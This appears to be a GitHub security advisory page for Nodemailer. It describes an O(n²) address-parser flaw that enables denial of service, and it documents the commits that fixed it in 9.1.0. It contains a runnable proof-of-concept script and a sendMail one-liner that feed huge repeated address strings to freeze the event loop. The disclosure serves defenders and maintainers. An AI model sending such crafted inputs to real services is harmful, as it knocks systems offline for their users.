GHSA-2x7j-588g-ccc2
Dashboard / Vulnerabilities / GHSA-2x7j-588g-ccc2
GHSA-2x7j-588g-ccc2
Summary: Nodemailer: Quadratic (O(n²)) time complexity in addressparser allows remote denial of service via a crafted address list
Details: ### Summary Nodemailer's address parser (`lib/addressparser/index.js`) parses a list of comma‑separated addresses in **quadratic time — O(n²)** in the number of addresses. A single crafted address string (e.g. a `To`, `Cc`, `Bcc`, `From`, or `Reply‑To` value, or any value passed to the exported `addressparser`) therefore consumes CPU proportional to the **square** of its length and blocks Node's single‑threaded event loop for the entire duration, denying service to every other request in the process. This requires **no special application configuration and no cooperating receiver** — it is entirely inside the parser and triggers on the library's default code path. A ~1.5 MB address value freezes the process for ~25–30 seconds of 100% CPU; the cost grows with the square of the input, so a few‑MB value stalls the server for minutes. It is a distinct issue from the recursion DoS fixed as CVE‑2025‑14874 (that path is guarded by a nesting‑depth cap; this one is a flat, comma‑separated list with no such limit). ### Details `addressparser` tokenizes the input, splits it into per‑address token groups, and then accumulates the parsed results in a loop (`lib/addressparser/index.js`, ~lines 500–505): ```js addresses.forEach(addr => { const handled = _handleAddress(addr, depth); if (handled.length) { parsedAddresses = parsedAddresses.concat(handled); // <-- line ~503 } }); ``` `Array.prototype.concat` builds and returns a **new** array containing a copy of every element accumulated so far. Reassigning `parsedAddresses = parsedAddresses.concat(handled)` on each of the *n* iterations copies 1 + 2 + 3 + … + n elements in total, i.e. **O(n²)** work (and O(n²) transient allocations) for an input containing *n* addresses. Tokenization and `_handleAddress` themselves are linear; the quadratic blowup is entirely this accumulator. **Root‑cause proof.** Replacing only that line with an in‑place append and re‑running the exact same input: ``` parsedAddresses = parsedAddresses.concat(handled); -> 100000 addresses: ~6068 ms parsedAddresses.push.apply(parsedAddresses, handled); -> 100000 addresses: ~51 ms (≈119x faster, now linear) ``` **Measured scaling** (nodemailer 9.0.6, `'[email protected],'.repeat(n)`): | addresses n | input size | parse time | ratio for 2× input | |---|---|---|---| | 25,000 | 0.19 MB | ~0.35 s | – | | 50,000 | 0.38 MB | ~1.4 s | ×4.0 | | 100,000 | 0.76 MB | ~6–8 s | ×3.9 | | 200,000 | 1.53 MB | ~25–30 s| ×4.1 | Doubling the input quadruples the time — the signature of O(n²). **Reachability.** The parser is invoked on any structured‑address header value on the normal send path (`MimeNode.setHeader('To'/'Cc'/'Bcc'/'From'/'Reply-To', value)` → `_parseAddresses` → `addressparser`, and `getEnvelope()`), so a single `transport.sendMail({ to: <crafted string> })` triggers it. It is also reached directly through the **exported** `require('nodemailer/lib/addressparser')`, which many applications call to validate or display user‑supplied recipient lists. Confirmed via the public API: `setHeader('To', '[email protected],'.repeat(80000))` + `getEnvelope()` blocks for ~3.9 s. **Suggested fix:** accumulate in place instead of rebuilding the array each iteration, e.g. `parsedAddresses.push.apply(parsedAddresses, handled);` (or `for (const h of handled) parsedAddresses.push(h);`). Optionally cap the number of addresses / input length before parsing. ### PoC Environment: Node.js ≥ 18 and the published `[email protected]`. No transport, network, or configuration required — the cost is in parsing. `poc-dos.js`: ```js 'use strict'; const addressparser = require('nodemailer/lib/addressparser'); console.log('addresses | input size | parse time'); for (const n of [25000, 50000, 100000, 200000]) { const payload = '[email protected],'.repeat(n); // n valid, comma-separated recipients const t0 = process.hrtime.bigint(); addressparser(payload); // blocks synchronously const ms = Number(process.hrtime.bigint() - t0) / 1e6; console.log(String(n).padStart(9) + ' | ' + (payload.length / 1048576).toFixed(2) + ' MB | ' + ms.toFixed(0).padStart(7) + ' ms'); } ``` Run: ``` npm init -y && npm install [email protected] node poc-dos.js ``` Actual output (nodemailer 9.0.6): ``` addresses | input size | parse time 25000 | 0.19 MB | 381 ms 50000 | 0.38 MB | 1435 ms 100000 | 0.76 MB | 7949 ms 200000 | 1.53 MB | 25154 ms ``` Equivalent trigger through the normal send API (freezes the event loop): ```js const nodemailer = require('nodemailer'); nodemailer.createTransport({ jsonTransport: true }) .sendMail({ from: '[email protected]', to: '[email protected],'.repeat(150000), subject: 'x', text: 'y' }); // ~15+ seconds of 100% CPU inside addressparser before anything is sent ``` ### Impact * **Who is impacted:** any service that runs Nodemailer (or the standalone `nodemailer/lib/addressparser`) on an address value that can be influenced by an untrusted party — a recipient field in a "send email / invite / share" feature, a `Reply‑To`/`From` derived from user input, a contact‑import or mailing‑list parser, or any endpoint that validates addresses with `addressparser`. No authentication, special option, or particular receiver is needed. ## Patched in 9.1.0 Three separate quadratic paths were fixed, not one: * `addressparser` rebuilt its accumulator with `concat()` on every address ([9116da9](https://github.com/nodemailer/nodemailer/commit/9116da9)). * The display-name merge loop directly below spliced each fragment out of the array, the same shape reached through `'a, b <[email protected]>,'.repeat(n)` (same commit). * `MimeNode#_convertAddresses` checked recipient uniqueness with a linear scan per address ([7cc38af](https://github.com/nodemailer/nodemailer/commit/7cc38af), refined in [34da642](https://github.com/nodemailer/nodemailer/commit/34da642)). This was the most severe of the three and the reported proof of concept did not reach it: `'[email protected],'.repeat(n)` is one address repeated, which dedupes to a single envelope entry. A list of *distinct* recipients cost O(n^2) here, taking ~35s for 100k even after `addressparser` was fixed. Fixed alongside: `[].concat.apply` in `_parseAddresses` threw `RangeError: Maximum call stack size exceeded` past roughly 124k recipients, with no crafted input needed ([83b8c48](https://github.com/nodemailer/nodemailer/commit/83b8c48)). Parsing 200k addresses now takes ~80ms instead of ~25s, and every path scales linearly. A new `maxRecipients` option (default 100000) throws rather than truncating, as a backstop.
References: https://github.com/nodemailer/nodemailer/security/advisories/GHSA-2x7j-588g-ccc2, https://github.com/nodemailer/nodemailer/pull/1848, https://github.com/nodemailer/nodemailer/commit/34da64282dcdc9b0581c721a27ab2fa226673150, https://github.com/nodemailer/nodemailer/commit/7cc38af418ffa6fc7e86085195ca5ca681694b3e, https://github.com/nodemailer/nodemailer/commit/9116da9528c6524cefaed75185602a7e85d20434, https://github.com/nodemailer/nodemailer, https://github.com/nodemailer/nodemailer/releases/tag/v9.1.0
Affected packages
Package
Name: nodemailer
Purl: pkg:npm/nodemailer
Affected ranges
Type: SEMVER
Events:
